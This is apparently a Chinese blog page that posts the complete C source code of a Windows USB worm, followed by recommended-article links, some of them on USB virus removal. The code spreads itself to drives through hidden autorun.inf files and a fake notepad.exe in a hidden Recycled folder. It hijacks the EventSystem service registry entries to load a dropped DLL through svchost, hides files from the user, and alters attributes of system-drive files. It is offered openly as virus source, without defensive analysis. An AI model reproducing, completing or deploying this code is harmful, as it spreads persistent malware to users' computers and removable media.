U盘小病毒源代码

U盘小病毒源代码收藏 U盘小病毒源代码收藏//*******************************************//****** 网蝉U盘感染小病毒 ******//*******************************************//功能介绍://1,感染U盘和网络硬盘//2,释放DLL文件并将其加入到系统服务启动。/ 阅读详情
//*******************************************
//******  网蝉U盘感染小病毒 ******
//*******************************************
//功能介绍:
//1,感染U盘和网络硬盘
//2,释放DLL文件并将其加入到系统服务启动。
//3,保护注册表相关项目。
//4,
//
//
//
////////////////////////////////////////////////
#include <windows.h>
#include <stdio.h>
#include "tchar.h"
#pragma comment(linker,"/subsystem:windows")
#define IDR_SERVER1               101

void wreg();//写注册表
void cfile(LPCTSTR drivers);//创建AUTORUN.INF文件
void copysel(LPCTSTR drivers);//拷贝本文件到各盘的x:recycled../目录下
void findfile();//将系统文目录下的所有文件属性变为隐藏属性+文档+只读属性
bool Makeexe(LPCTSTR szDllFile);//释放dll文件到c:/windows/system32下
bool checkdesk(LPCTSTR drivers);


TCHAR g_strFileName[MAX_PATH];  //用来存放windows系统目录的路径
char pName [MAX_PATH];//本程序路径
char bootdll[MAX_PATH];//windows/system32/EsXP.dll
//主函数
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,PSTR szCmdLine,int iCmdShow)
{
        char buf[MAX_PATH];//存放盘符串
        char buff[4];//存放单个盘符信息
        char salfe[MAX_PATH];//windows/system32/wshexts.dll
   
        CreateMutex(NULL,FALSE,"TEST");//让本程序只运行1个实例
        if(GetLastError()==ERROR_ALREADY_EXISTS)
        exit(0);
        ZeroMemory(&g_strFileName,sizeof(g_strFileName));
        ZeroMemory(&pName,sizeof(pName));
        GetWindowsDirectory(g_strFileName, MAX_PATH);//得到windows系统目录放入全局g_strFileName供程序使用
        GetModuleFileName(NULL, pName, sizeof( pName ) / sizeof(char));//得到本程序目录放入全局pName供程序使用
        ZeroMemory(&salfe,sizeof(salfe));
        wsprintf(salfe,"%s//system32//wshexts.dll",g_strFileName);//备份此病毒
        ZeroMemory(&bootdll,sizeof(bootdll));
        wsprintf(bootdll,"%s//system32//EsA.nls",g_strFileName);//创建本程序的svchost启动项

        wreg();//写注册表
        findfile();//搜索系统驱动器下的根目录文件,并把文件的属性改为只读+隐藏+存档属性。
        DWORD m_Result=GetLogicalDriveStrings(MAX_PATH,buf);
        for(int i=0;i<(int)m_Result;i=i+4)
        {
               
                wsprintf(buff,"%c%c%c",buf,buf[i+1],buf[i+2]);//获得各盘的信息,格式为"c:/"
                if(checkdesk(buff))
                {
//                        MessageBox(NULL,"开始写入数据",buff,MB_OK);
                cfile(buff);//创建AUTORUN.INF文件
                copysel(buff);//复制自身
                }
        }
//复制自身到
    CopyFile(pName,salfe,FALSE);
        //释放dll到指定目录
        Makeexe(bootdll);
        ///模拟打开资源管理器运行。
        char currpath[MAX_PATH];
        char dri[MAX_PATH];
        ZeroMemory(&dri,sizeof(dri));
        GetCurrentDirectory(MAX_PATH,currpath);
        strncpy(dri,currpath,3);
        ShellExecute(0, "open", "Explorer.exe",dri, NULL, SW_SHOW);
        return 0;
}
//////////////////////////////////
//函数:void wreg()
//功能:写入注册表,修改文件隐藏属性,设置服务启动项
//参数:无
//////////////////////////////////
void wreg()
{
        HKEY hKEY;
///////////开始隐藏U盘感染部分。
//        char aa='1';//修改文件隐藏属性.
        DWORD bb=0x0;
    DWORD dw02=0x02;
/////////////////////////////////////////////////////////////////////////////////////////////////////
//注册svchost所需要的局部变量
//        LPCTSTR svchost="SOFTWARE//Microsoft//Windows NT//CurrentVersion//SvcHost";
        LPCTSTR EventSystem="SYSTEM//CurrentControlSet//Services//EventSystem";
    LPCTSTR EventSystemParameters="SYSTEM//CurrentControlSet//Services//EventSystem//Parameters";
//        char es[]="EventSystem";
        char svchostath[MAX_PATH];
        ZeroMemory(&svchostath,sizeof(svchostath));
        wsprintf(svchostath,"%s//system32//svchost.exe -k netsvcs",g_strFileName);//创建本程序的svchost启动项
//        char Description[]="Supports System Event Notification Service (SENS), which provides automatic distribution of events to subscribing Component Object Model (COM) components. If the service is stopped, SENS will close and will not be able to provide logon and logoff notifications. If this service is disabled, any services that explicitly depend on it will fail to start.";

    LPCTSTR EventSystem001="SYSTEM//ControlSet001//Services//EventSystem";
        LPCTSTR EventSystemParameters001="SYSTEM//ControlSet001//Services//EventSystem//Parameters";
        LPCTSTR EventSystem002="SYSTEM//ControlSet002//Services//EventSystem";
        LPCTSTR EventSystemParameters002="SYSTEM//ControlSet002//Services//EventSystem//Parameters";
/////////////////////////////////////////////////////////////////////////////////////////////////////////////
        LPCTSTR salekey="SOFTWARE//Microsoft//ODBC";//把自身路径存放在其下
//        LPCTSTR hidden="SOFTWARE//Microsoft//Windows//CurrentVersion//Explorer//Advanced//Folder//Hidden//SHOWALL";//关闭隐藏选项,让隐藏文件不可见。
        LPCTSTR hidden1="SOFTWARE//Microsoft//Windows//CurrentVersion//Explorer//Advanced//Folder//SuperHidden";       
        LPCTSTR flashh="Software//Microsoft//Windows//CurrentVersion//Explorer//Advanced";//flash
//        RegOpenKeyEx(HKEY_LOCAL_MACHINE,hidden,0,KEY_READ | KEY_WRITE,&hKEY);
//        RegSetValueEx(hKEY,(LPCTSTR)("CheckedValue"),NULL,REG_SZ,(CONST BYTE *)&aa,1);
        RegOpenKeyEx(HKEY_LOCAL_MACHINE,hidden1,0,KEY_READ | KEY_WRITE,&hKEY);
        RegSetValueEx(hKEY,(LPCTSTR)("UncheckedValue"),NULL,REG_DWORD,(CONST BYTE *)&bb,4);
        RegOpenKeyEx(HKEY_CURRENT_USER,flashh,0,KEY_READ | KEY_WRITE,&hKEY);
  //  RegSetValueEx(hKEY,(LPCTSTR)("Hidden"),NULL,REG_DWORD,(CONST BYTE *)&bb,4);
        RegSetValueEx(hKEY,(LPCTSTR)("ShowSuperHidden"),NULL,REG_DWORD,(CONST BYTE *)&bb,4);
///////////////////////////////////////////////////////////////////////////////////////////////
/////////开始注册SVCHOST服务///////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////
//        RegOpenKeyEx(HKEY_LOCAL_MACHINE,svchost,0,KEY_READ | KEY_WRITE,&hKEY);
//        RegSetValueEx(hKEY,(LPCTSTR)("EventSystem"),NULL,REG_MULTI_SZ,(CONST BYTE *)&es,sizeof(es));

        RegOpenKeyEx(HKEY_LOCAL_MACHINE,EventSystem,0,KEY_READ | KEY_WRITE,&hKEY);
    RegSetValueEx(hKEY,(LPCTSTR)("Start"),NULL,REG_DWORD,(CONST BYTE *)&dw02,4);
            RegSetValueEx(hKEY,(LPCTSTR)("ImagePath"),NULL,REG_EXPAND_SZ,(CONST BYTE *)&svchostath,sizeof(svchostath));
//        RegSetValueEx(hKEY,(LPCTSTR)("Description"),NULL,REG_SZ,(CONST BYTE *)&Description,sizeof(Description));
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,EventSystemParameters,0,KEY_READ | KEY_WRITE,&hKEY);
    RegSetValueEx(hKEY,(LPCTSTR)("ServiceDll"),NULL,REG_EXPAND_SZ,(CONST BYTE *)&bootdll,sizeof(bootdll));

        RegOpenKeyEx(HKEY_LOCAL_MACHINE,EventSystem001,0,KEY_READ | KEY_WRITE,&hKEY);
    RegSetValueEx(hKEY,(LPCTSTR)("Start"),NULL,REG_DWORD,(CONST BYTE *)&dw02,4);
          RegSetValueEx(hKEY,(LPCTSTR)("ImagePath"),NULL,REG_EXPAND_SZ,(CONST BYTE *)&svchostath,sizeof(svchostath));
//        RegSetValueEx(hKEY,(LPCTSTR)("Description"),NULL,REG_SZ,(CONST BYTE *)&Description,sizeof(Description));

    RegOpenKeyEx(HKEY_LOCAL_MACHINE,EventSystemParameters001,0,KEY_READ | KEY_WRITE,&hKEY);
    RegSetValueEx(hKEY,(LPCTSTR)("ServiceDll"),NULL,REG_EXPAND_SZ,(CONST BYTE *)&bootdll,sizeof(bootdll));

        RegOpenKeyEx(HKEY_LOCAL_MACHINE,EventSystem002,0,KEY_READ | KEY_WRITE,&hKEY);
    RegSetValueEx(hKEY,(LPCTSTR)("Start"),NULL,REG_DWORD,(CONST BYTE *)&dw02,4);
        RegSetValueEx(hKEY,(LPCTSTR)("ImagePath"),NULL,REG_EXPAND_SZ,(CONST BYTE *)&svchostath,sizeof(svchostath));
//        RegSetValueEx(hKEY,(LPCTSTR)("Description"),NULL,REG_SZ,(CONST BYTE *)&Description,sizeof(Description));

    RegOpenKeyEx(HKEY_LOCAL_MACHINE,EventSystemParameters002,0,KEY_READ | KEY_WRITE,&hKEY);
    RegSetValueEx(hKEY,(LPCTSTR)("ServiceDll"),NULL,REG_EXPAND_SZ,(CONST BYTE *)&bootdll,sizeof(bootdll));

        RegSetValue(HKEY_LOCAL_MACHINE,salekey,REG_SZ,pName,strlen(pName));


        RegCloseKey(hKEY);
}
///////////////////////////////////////////////////////////////
//函数名:cfile               
//函数功能:创建autorun.inf文件
//参数:LPCTSTR drivers 为驱动器名称,格式为"c:/"的字符串
///////////////////////////////////////////////////////////////
void cfile(LPCTSTR drivers)
{
        HANDLE hCFN;
        char ch1[MAX_PATH];
        DWORD filesize1 , wsize;
        wsprintf(ch1,"%sautorun.inf",drivers);
        char autorunc[]="[AutoRun] /n open=Recycled//notepad.exe /n ` /n shell//open=打开(&O)/n shell//open//Command=Recycled//notepad.exe /n shell//open//Default=1";
        filesize1=sizeof(autorunc);
        hCFN=CreateFile(ch1,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM,NULL);
        WriteFile(hCFN,autorunc,filesize1-1,&wsize,NULL);
        SetFileAttributes(ch1,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
        CloseHandle(hCFN);
}
///////////////////////////////////
//函数: void copysel(LPCTSTR drivers)
//功能: 复制自己到指定目录
//参数: 传递一个驱动器名称,格式为"c:/"
///////////////////////////////////
void copysel(LPCTSTR drivers)
{
//        char pName1 [MAX_PATH];//
        char ch2[MAX_PATH];//各盘的recycled目录
        char ch3[MAX_PATH];//各盘的recycled目录下的notepad.exe完整路径
//        GetCurrentDirectory(MAX_PATH,pName);
        wsprintf(ch2,"%sRecycled//",drivers);
        CreateDirectory(ch2,NULL);
        wsprintf(ch3,"%s//notepad.exe",ch2);
//        strncpy(pName1,pName,3);
//        strcat(pName,"Recycled//notepad.exe");
        CopyFile(pName,ch3,FALSE);
        SetFileAttributes(ch2,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
}

///////////////////////////////////
//函数: void findfile()
//功能: 搜索系统驱动器下的根目录文件,并把文件的属性改为只读+隐藏+存档属性。
//参数: 无
///////////////////////////////////
void findfile()
{
char systemdriver[6];//存放查找路径
ZeroMemory(&systemdriver,sizeof(systemdriver));
char filepath[MAX_PATH];
    strncpy(systemdriver,g_strFileName,2);
        strcat(systemdriver,"//*.*");//获得查找路径
        WIN32_FIND_DATA fd;
        HANDLE hd=FindFirstFile(systemdriver,&fd);
        if(hd==INVALID_HANDLE_VALUE)
                return;//查找完成后返回
        while(FindNextFile(hd,&fd))
        {
                if(fd.dwFileAttributes!=FILE_ATTRIBUTE_DIRECTORY)//查找如果是文件,将其属性保留为隐藏和只读属性
                {
        ZeroMemory(&filepath,sizeof(filepath));
        strncpy(filepath,g_strFileName,3);
        strcat(filepath,fd.cFileName);
        SetFileAttributes(filepath,FILE_ATTRIBUTE_NORMAL);
    SetFileAttributes(filepath,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_ARCHIVE);
                }
        };
        FindClose(hd);
}

/////////////////////////////////////////
//函数:bool checkdesk(LPCTSTR drivers)
//功能:判断指定驱动器是否是光驱
//参数:驱动器,格式为"c:/"
////////////////////////////////////////
bool checkdesk(LPCTSTR drivers)
{

if(GetDriveType(drivers)==DRIVE_REMOVABLE)
{                       
//MessageBox(NULL,"是光驱",drivers,MB_OK);
return false;                                                //返回0  是光驱
}
else
{
//MessageBox(NULL,"不是光驱",drivers,MB_OK);
return true;                                        //返回1   不是光驱
}
}


/////////////////////////////////////////
//函数:bool Makeexe(LPCTSTR szDllFile)
//功能:把server类型资源从自身释放出去,
//参数:LPCTSTR szDllFile 为将要释放到的目标路径
////////////////////////////////////////
bool Makeexe(LPCTSTR szDllFile)
{
        HRSRC hResInfo;
        HGLOBAL hResData;
        DWORD dwSize, dwWritten;
        LPBYTE p;
        HANDLE hFile;
        hResInfo = FindResource(NULL,MAKEINTRESOURCE(IDR_SERVER1), _T("SERVER"));
        if (hResInfo == NULL)
                return false;
        // 获得资源尺寸
    dwSize = SizeofResource(NULL, hResInfo);
        // 装载资源
    hResData = LoadResource(NULL, hResInfo);
        if (hResData == NULL)
                return false;
        p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
        if (p == NULL)
                return false;
        // 复制资源数据
    CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
        hFile = CreateFile(szDllFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
        if (hFile != NULL)
                WriteFile(hFile, (LPCVOID)p, dwSize, &dwWritten, NULL);
    else
        {
                GlobalFree((HGLOBAL)p);
                return false;
        }
        CloseHandle(hFile);
        GlobalFree((HGLOBAL)p);
        return true;
}
 
USBCleaner v6.0 Build 20080327 - U盘病毒专杀工具 USBCleaner是一种纯绿色的辅助杀毒工具,具有检测查杀70余种U盘病毒,U盘病毒广谱扫描,U盘病毒免疫,修复显示隐藏文件及系统文件,安全卸载移动盘盘符等功能,全方位一体化修复杀除U盘病毒。同时USBCleaner能迅速对新出现的U盘病毒进行处理。USBCleaner是你学习,工作,娱乐的好帮手!U盘病毒又称Autorun病毒,是通过AutoRun.inf文件使对方所有的硬盘完全共享或中木马的 阅读详情

相关推荐

U盘病毒免疫策略大全

本文还有配套的精品资源,点击获取 简介:U盘常见病毒免疫代码大全包含一系列脚本和指导文件,用于防止病毒通过U盘传播。这包括禁用自动播放、安装防病毒软件、创建autorun.inf阻止文件、隐藏系统文件和属性、批处理脚本执行安全检查和免疫策略、以及文本文件提供的病毒信息和防范指南。用户应当结合这些工具和良好的使用习惯,以确保U盘的数据安全。 1. U盘病毒免疫概述 ...

weixin_36296444的博客 1425

关于u盘病毒的通用防治及查杀代码(转梦之光芒_)

 我们学校的电脑没有杀毒软件,全是木马.有的通过u盘传播甚至杀毒软件都不能查杀.所以想出此方法.对于所有u盘有效.可以防止所有通过u盘传播的病毒.本方法欢迎转载,但要声明文章出自梦之光芒!经常用u盘从别人那里copy东西的人和经常中u盘病毒的朋友可以试试.本程序仅可以杀除你u盘中的病毒引导,但如果你的电脑本身已经有病毒了,则先把系统清理干净吧!!!打开记事本输入以下星号中代码,并另存为*.

mynameishesile的专栏 1423

U盘常见病毒免疫代码大全

对常见的的U盘病毒免疫 能够有效预防U盘中毒

如何让U盘不被病毒入侵 ?

文章目录1.写一个文件2.图形解说3.防病毒文件的原理 1.写一个文件 我们在U盘中,写入一个文件即可:autorun.inf 2.图形解说 ①新建一个文本文档 ②查看→勾选文件扩展名→效果如下 ③将后缀名 txt 改成 inf 即可,图标会发生变化,代表文件写入成功 ④我们可以删除这个防病毒的文件,也可以不删除。不管哪一种选择,这个文件将会永久存在。 3.防病毒文件的原理 ①病毒的传播要借助autorun.inf文件的帮助。   这个文件的意思是自动(auto) 运行(run) 进行入侵(inf)

William_fang的博客 2678

U盘病毒检测及查杀软件附源码

本资源包含了一个现成的U盘病毒检测以及查杀软件,以及附有完整的源代码,有需要可下载。

【CubeMX】STM32G474 HRTIM 死区时间与互补PWM实战解析

本文深入解析STM32G474的HRTIM高分辨率定时器在互补PWM生成与死区时间配置中的应用。通过CubeMX工具详细演示时钟配置、单路PWM基础、互补输出与死区时间设置,并结合逆变器等电力电子实战案例,帮助开发者避免直通风险,优化系统性能。

efc12345678的博客 746

U盘常见病毒或木马解决篇

         U盘常见病毒篇朋友们。大家使用U盘难免容易中这样的病毒。。突然有天你的磁盘打不开了。。突然你的磁盘双击后居然另外弹出窗口了。。突然有天你发现右键打开磁盘时发现有了个Auto.的自动运行命令。。突然你发现你的磁盘不能正常打开了。。必须右键选择打开。。突然某天你发现U盘下多了个文件Autorun.inf..感觉到恐慌很高兴的告诉你。。你电脑中U盘病毒拉。。你又可以来学点知识了。病毒知

边走边飞的专栏! 1万+

Python RK3588 MPP 8路视频硬解码!全体目光向我看齐!

本文重写了官方demo、加入了Zlmediakit进行拉流并通过pybind11将代码封装成so库,现在,在python中直接通过import的方式,就能完成基础的拉流解码操作,目前支持8路拉流解码!!!

m0_46303486的博客 4881

c语言编写u盘杀毒软件,一个简单的C++编写的u盘病毒代码

该楼层疑似违规已被系统折叠隐藏此楼查看此楼一个简单的C++编写的u盘病毒代码一个win32下能用的U盘病毒 研究原理可以 别编译拿去害人就行 (ring3的病毒貌似也害不了人) 前久用IDA逆向出来的 感兴趣的可以看看。。。#include#include BOOL UDevice(); void ResourceToFile(char *filename,char *Name,char* ...

weixin_32340873的博客 2502

数字IC后端PPA优化实战:Innovus中Timing一致性策略与Module Region布局技巧

本文深入探讨了数字IC后端设计中PPA优化的核心挑战,重点解析了Innovus与PrimeTime之间Timing不一致的根本原因。通过实战案例,详细介绍了在Innovus中设置Timing Margin、Derate以及RC Scale Factor等关键策略,以校准时序视图。同时,文章分享了利用Module Region进行物理布局规划的技巧,将关键模块约束在最优区域,并结合Group Path等进阶方法,有效提升时序收敛效率与PPA结果的可预测性。

f9g0h的博客 2690

ros2 humble中使用realsense t265与d435

前提,安装realsense SDK 2.51.1版本并且能成功启动realsense-viewer V2.51.1想要在ros2中使用realsense t265,必须配合realsense SDK v2.51.1使用realsense-ros 4.51.1版本,因为新版本realsense ros2不再对t265支持下面记录源码编译安装 realsense-ros 4.51.1版本。

m0_72797388的博客 956

U盘病毒--vbs快捷方式病毒源代码【分析↓ 】

http://hi.baidu.com/msrighthomepage/blog/item/667bf21f01e0261340341756.html 注意:把以下的病毒代码复制到“记事本”后,在“另存为”操作时,名称为worm.vbs,“保存类型”为“所有文件”,“编码”为“ANSI”。 不然会提示错误信息,型如 行 :1 字符:1 错误:无效字符 代码:800A0408 ...

weixin_33743880的博客 783

docker部署zabbix6.2.7+grafana

docker部署zabbix6.2.7+grafana。

qq_48391148的博客 3656

u.vbe 又弱智又善良的“病毒”

最近总觉得很忙很累,倒霉的事却一件接一件地来,而今天早上又发生了一件让我急坏了的事情.昨晚论文指导导师找我谈论了关于我的论文修改意见,说是最迟要明天早上交给其他导师评分了,要求我把论文再给修改修改(因为要拿优秀,也就没办法了),因此,我只能开夜车把论文给赶出来,也好第二天早上打印后交上去,然后去做其他事情.原本是这么计划的,也比平时早起了几十分钟(这几十分...

weixin_30790841的博客 200

2026年运维工程师常见面试选择题

这篇文章总结了30道Linux运维面试常见问题及解析,涵盖基础命令、系统监控、故障排查、数据库、缓存、容器编排等多个方面。主要内容包括: 基础命令使用:如df查看磁盘、free查看内存、top监控进程等 系统监控与故障排查:负载判断、端口检查、进程管理等 中间件相关:Nginx状态码、MySQL主从复制、Redis缓存问题 容器技术:Docker优势、Kubernetes作用 运维理念:高可用、监控告警、发布策略、备份容灾 工作原则:故障处理优先级、运维工程师核心能力 文章不仅提供标准答案,还解析了各命令的

不务正业的猿 194

026、传感器校准:加速度计校准

本文详细介绍了无人机飞控系统中加速度计的校准方法。作者从一次炸机事故引入,强调加速度计校准的重要性。文章首先解释了加速度计测量原理和误差来源,包括零偏、尺度因子和交叉轴耦合。重点介绍了两种校准方法:六位置法利用重力作为参考,操作简单但精度有限;椭球拟合通过采集大量数据点进行最小二乘拟合,精度更高但实现复杂。文章还指出温度补偿这一常被忽视的关键因素,并分享了实际调试中的经验教训,包括采样时长、安装误差、验证方法等。最后建议初学者从六位置法入手,逐步优化校准精度,强调良好的校准是飞控性能的基础。

2401_88858637的博客 45

病毒c语言代码大全,谁有C语言编写的病毒源代码?

一个c病毒源代码#include #include #include #include #include #pragma comment(lib,'shlwapi.lib')#define TIMER 1//计时器//functionLRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程//获取盘符TCHAR FirstDriveFr...

weixin_30015183的博客 1951

Epicor ERP 界面新增客制化字段操作方法

我发现国内对于epicor这个erp软件的教程非常少,所以录制一些我实际遇到的需求,整理了实现过程,提供给大家参考。

cqxianggang的专栏 413

U盘病毒雏形

本病毒的功能: 1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件 2.在C、D、E盘中生成自动运行文件 3.注册c:\windows\system\svchost.exe,使其开机自动运行 4.在C:\windows\system下生成隐蔽DLL文件 5.病毒在执行后具有相联复制能力 本病毒类似普通U盘病毒...

weixin_33912445的博客 94

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

android u盘怎么打开文件夹图标不显示不出来了,U盘图标显示不正常怎么办,U盘图标怎么显示出来...

U盘是我们工作的好帮手,但是我们在使用的过程中也会遇到各种问题,比如U盘图标显示不正常怎么办?怎么设置才能让U盘图标正常显示?大家可以参考以下的方法,通过新建简单的记事本来达到此目的,有需要的用户可以看看。U盘图标显示不正常的解决方法:1、依次点击“开始”,“所有程序”,“ 附件”,“记事本”;2、然后把以下的源代码拷到记事本里;@echo off@echo +------------------...

weixin_33816734的博客 277

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

下载者U盘传染源码

下载者U盘传染源码unit Un_Main;interfaceusesWindows, Messages, SysUtils,Forms,IniFiles;typeTFrm_Main = class(TForm)procedure FormCreate(Sender: TObject);procedure FormClose(Sender: TObject; var Action: TClos

diligentcat的专栏 746

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

用C语言编程西瓜问题,C语言编写的小病毒

#include#include#include#include#include#pragma comment(lib,"shlwapi.lib")#define TIMER 1//计时器//functionLRESULT CALLBACK WndProc(HWND, UINT, WPARAM,LPARAM);//窗口过程//获取盘符TCHAR FirstDriveFromMask (ULONG ...

weixin_34063855的博客 428

抽奖Version0.1.1游戏源代码

bug:反馈至作者优快云博客Wyze(June)。更新日志:Version0.1.0 20250315。提示:不建议在u盘中打开,防止盗版病毒。

2301_77158396的博客 327

U盘变成文件夹

u盘图标变成文件夹了怎么办 浏览:3033 | 更新:2013-11-17 17:30 | 标签:u盘 小编有一次插入u盘之后,发现电脑里u盘的显示变成了文件夹,一开始还以为是中毒了,用杀毒软件杀之后也还是这样子,后面摸索了半天,终于找到了解决的办法: 依次点击“开始”,“所有程序”,“ 附件”,“记事本”。 然后把以下的源代码拷到记事本里: @echo off @echo...

网世的博客 521

Windows-详细解析U盘病毒、Autorun.inf文件和RavMonE.exe病毒

        最近,有关U盘病毒的情况非常严重,以湛江年会为例,在各人递交的U盘上,发现有病毒的比例可以高达90%。        这里记录一下有关此病毒的一些个人看法:        首先,目前几乎所有这类的病毒的最大特征都是利用autorun.inf这个来侵入的,而事实上autorun.inf相当于一个传染途径,经过这个途径入侵的病毒,理论上是“任何”病毒。因此大家可以在网上发现,当

MasterFT的专栏 1785
上一篇: 用进程注入来实现一个壳(原理)
下一篇: Spirit2.Uploader Coder
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值